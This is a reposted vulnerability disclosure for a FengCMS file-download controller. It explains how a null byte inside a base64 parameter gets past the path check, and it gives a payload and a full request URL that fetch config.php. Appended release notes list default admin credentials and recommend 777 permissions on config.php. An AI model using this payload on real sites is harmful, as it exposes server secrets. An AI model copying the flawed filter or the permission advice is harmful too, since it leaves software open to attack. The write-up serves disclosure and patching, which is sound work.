php下载源文件绕开下载地址,Fengcms 最新版v1.24任意文件下载(绕过过滤)

"本文详细分析了一个FengCMS的安全漏洞,该漏洞允许攻击者通过base64_decode和截断技巧绕过下载限制,下载服务器上的config.php等敏感文件。作者指出,问题根源在于root_path设置为网站根目录,而非/upload。通过创建一个利用此漏洞的测试用例,证明了在特定PHP版本下(低于5.3.4)可以成功下载config.php。"
摘要由CSDN通过智能技术生成

### 简要描述:

之前fengcms修复了好几次这个问题,但依旧知识不对。不过到我这个应该就终结了,我会给出好的解决方案。这也不是厂商的问题,如果不是专门搞安全的人也很难考虑到这一点。

多说一句,fengcms送的礼物已经收到了,再次感谢!这种厂商要奖励,很负责!!

官方给出的测试站已经升到最新版了,我这里测试通过,已经可以下载config.php。

### 详细说明:

/app/controller/downController.php:

```

class downController extends Controller{

public function index(){

$_GET['file']=base64_decode($_GET['file']);

$_GET['file']=str_replace("..","",$_GET['file']);

$exp=explode("/",$_GET['file']);

if($exp[1]=="upload"){

if(file_exists(ROOT_PATH.$_GET['file'])){

header("Content-Type: application/force-download");

header("Content-Disposition: attachment; filename=".basename($_GET['file']));

readfile(ROOT_PATH.$_GET['file']);

}else{

echo '';

}

}else{

echo '';

}

}

}

```

看他是怎么处理的:

1.base64_decode解码

2.过滤..为空

3.将$_GET['file']用/分割成$exp,并取第二个($exp[1]),判断$exp[1]是否等于upload,等于才允许下载

4.将root_path和$_GET['file']组合成绝对路径,下载文件

如何绕过过滤,答案是\0截断。

首先,不管有没有全局addslashes或GPC,base64_decode就能无视之,引入一个\0,进行截断。

因为代码里取得是$exp[1]判断是否是"upload",所以我们可以把要下载的文件内容写在$exp[0]里,之后用\0截断掉,readfile的时候就能够把我要的config.php下载下来了。

所以罪魁祸首还是root_path是网站根目录,如果root_path是/upload目录的话,我想要下载config.php的话就必须要用../跳转到上层目录。

使用%00截断的条件是php版本小于5.3.4(左右吧,记不得),而官方给的测试站正好是5.2.x,所以可以通过测试,下载config.php。

### 漏洞证明:

首先测试一下之前的https://images.seebug.org/upload/../config.php还能不能下载:

[01.jpg](https://images.seebug.org/upload/201407/16203849bac0a0083ee11ff42c0b0caeab83bfa3.jpg)

果断不能了。。。

那么将file改成这样:

```

echo base64_encode("\\config.php\x00/upload");

```

也就是:

http://guf521656.h163.92hezu.org/?controller=down&file=XGNvbmZpZy5waHAAL3VwbG9hZA

访问发现可以继续文件下载:

[02.jpg](https://images.seebug.org/upload/201407/162039520744c06725507d6f48f3a80294031ada.jpg)

这是下载到的config.php:

[03.jpg](https://images.seebug.org/upload/201407/16204033180c0fe9cf7953455cf688e6c4fdb634.jpg)

loading-bars.svg

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
FengCms Beta 1.28 更新说明: 本次更新给栏目增加了图片字段,以后可以给每个栏目单独指定一张栏目图片,便于大家更加灵活的制作网站。 另,前段时间由于爆发了N多的安全漏洞,为了更加安全,我们给全站增加了XSS过滤,导致后台一些功能受到限制,甚至出错。 为了解决这个问题,我们在1.28版本中,去掉了全站过滤,而仅仅保留了前台过滤。这样大家在使用时会更加灵活方便。 1、栏目表新增图片字段 2、去除了后台的XSS过滤。 虽然FengCms是一款免费、开源、且就FengCms本身是不寻求商业模式的这样一套自由的CMS系统。但是出于对乌云上这些朋友给予我们的热心帮助,开发团队决定采购一批小礼品。随后将邮寄给大家! 希望各位白帽子可以继续为FengCms挖掘漏洞。我相信,我们一定可以做得更好! 另外FengCms2.0 公开版本将推迟发布。我们从1.0被挖掘出来的漏洞和问题,我们将进一步的去完善2.0。不定期的会在FengCms交流群中发布内测版本。希望大家可以关注QQ群 ,群号是53667986! ============== FengCms 安全说明 ============================= 1、修改后台密码。在后台右上角点击“修改密码”进行修改。 2、修改后台认证码。在 /config.php 配置文件中修改。 3、修改后台路径。直接修改 admin 目录名即可。 4、随时关注官方网站 www.fengcms.com 以获得最新的升级补丁。 ============== Linux 权限配置777 ============================ PS:安装在linux服务器下要注意给以下目录文件夹和其下的子文件777权限。 /admin/app/dbbackup 数据库备份目录 /admin/app/cache 后台缓存文件 /app/cache 前台缓存文件 /template 模版目录 /css 样式目录 /upload/ 上传目录 /config.php 配置文件 更多目录信息,请查阅目录说明.txt文件 =============== 新L标签写法 ================================= 老的万能标签写法: {loop M("module")->l("article"…… 新的万能标签写法: {loop l("article"…… 也就是说,省略调了“ M("module")-> ” 原先写的模版没有必要修改,因为兼容老的写法。 ============================================================= 后台地址:/admin/login.php 用户名:admin 密码:123456 认证码:8888 ======================== FengCms系统是由地方网络工作室倾力打造的一套PHP+MYSQL的CMS,和其他小型CMS不同,我们的CMS是完全自主开发的核心(由开源核心开发的CMS程序很大程度上受到核心的限制,在安全问题,以及代码臃肿等方面有先天缺陷)。当然,由于我们是自主开发的核心,因此,我们和其他cms有很大的不同。 由此,FengCms官方制作了视频教程和模版标签白皮书,方便诸君能够迅速理解并使用FengCms网站内容管理系统。 当然,这还远远不够。因此我们会倍加努力,写更多的教程,不断的完善我们的程序,以期为诸君提供更加优质的服务! FengCms是一套纯粹为展示内容而生的cms系统。因此,FengCms不包含任何交互模块(除自带的留言,且默认不显示)。我们是为纯粹为展示内容而生的,是纯展示类型网站的最佳伴侣。 FengCms自带非常强大的模型系统,利用模型系统,可以自由搭建任意需要的模型。不再收到任何限制。甚至,你新建的模型可以连栏目都没有,你爱咋滴咋滴。 FengCms的万能L标签功能,可以对数据库内的任意数据表进行任意调用,支持原生PHP函数,支持循环套循环,判断套判断。 更为强大的是。FengCms的后台,其实和前台一样,是用一样的代码写出来的。因此,FengCms有无与伦比的二次开发潜力。其中的好处,需要诸君慢慢品评! FengCms系统可以用来制作企业网站,文章网站,图片网站,电影网站,导航站等等等等不需要交互系统的各种类型的网站。 FengCms 开发团队石峰在开发一套大的项目,总监刘峰目前就职于青海某旅游公司。因此,FengCms 项目进展有所放缓。但是,FengCms团队始终对FengCms不离不弃。我们一定会坚持开发下去的。请大家放心。 如果使用新增的下载函数不能下载,而是打开一个乱码的网
FengCms Beta 1.32 更新说明: 1、新增阿里云xss安全插件,提升FengCMS系统安全 2、核心增加过滤,提升系统安全。 3、新增动态缩略图函数。可根据大图动态生成缩略图于内存中,可大幅减少流量占用,提高网站打开速度(但会占用CPU资源,劣质虚拟主机慎用)。 函数使用方法 {thumb(原始图片地址,缩略图宽度,缩略图高度)} 示例:{thumb($v['img'],120,80)} 4、新增 web.config 文件,用于 windows 2008 以及以上系统的伪静态配置(需要服务器支持)我们建议系统运行于linux服务器上。 FengCms系统介绍 FengCms系统是由地方网络工作室倾力打造的一套PHP MYSQL的CMS,和其他小型CMS不同,我们的CMS是完全自主开发的核心(由开源核心开发的CMS程序很大程度上受到核心的限制,在安全问题,以及代码臃肿等方面有先天缺陷)。当然,由于我们是自主开发的核心,因此,我们和其他cms有很大的不同。 由此,FengCms官方制作了视频教程和模版标签白皮书,方便诸君能够迅速理解并使用FengCms网站内容管理系统。 当然,这还远远不够。因此我们会倍加努力,写更多的教程,不断的完善我们的程序,以期为诸君提供更加优质的服务! FengCms是一套纯粹为展示内容而生的cms系统。因此,FengCms不包含任何交互模块(除自带的留言,且默认不显示)。我们是为纯粹为展示内容而生的,是纯展示类型网站的最佳伴侣。 FengCms自带非常强大的模型系统,利用模型系统,可以自由搭建任意需要的模型。不再收到任何限制。甚至,你新建的模型可以连栏目都没有,你爱咋滴咋滴。 FengCms的万能L标签功能,可以对数据库内的任意数据表进行任意调用,支持原生PHP函数,支持循环套循环,判断套判断。 更为强大的是。FengCms的后台,其实和前台一样,是用一样的代码写出来的。因此,FengCms有无与伦比的二次开发潜力。其中的好处,需要诸君慢慢品评! FengCms系统可以用来制作企业网站,文章网站,图片网站,电影网站,导航站等等等等不需要交互系统的各种类型的网站。 FengCms 开发团队石峰在开发一套大的项目,总监刘峰目前就职于青海某旅游公司。因此,FengCms 项目进展有所放缓。但是,FengCms团队始终对FengCms不离不弃。我们一定会坚持开发下去的。请大家放心。 如果使用新增的下载函数不能下载,而是打开一个乱码的网页,则请检查php.ini配置文件中的 output_buffering 选项是否在 Off ,请改成 On 或者 4096 FengCms 安全说明 1、修改后台密码。在后台右上角点击“修改密码”进行修改。 2、修改后台认证码。在 /config.php 配置文件中修改。 3、修改后台路径。直接修改 admin 目录名即可。 Linux 权限配置777 PS:安装在linux服务器下要注意给以下目录文件夹和其下的子文件777权限。 /admin/app/dbbackup 数据库备份目录 /admin/app/cache 后台缓存文件 /app/cache 前台缓存文件 /template 模版目录 /css 样式目录 /upload/ 上传目录 /config.php 配置文件 新L标签写法 老的万能标签写法: {loop M("module")->l("article"…… 新的万能标签写法: {loop l("article"…… 也就是说,省略调了“ M("module")-> ” 原先写的模版没有必要修改,因为兼容老的写法。 FengCms前台页面: FengCms后台管理:  后台地址:/admin/login.php 用户名:admin 密码:123456 认证码:8888  后台页面:   相关阅读 同类推荐:CMS系统
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值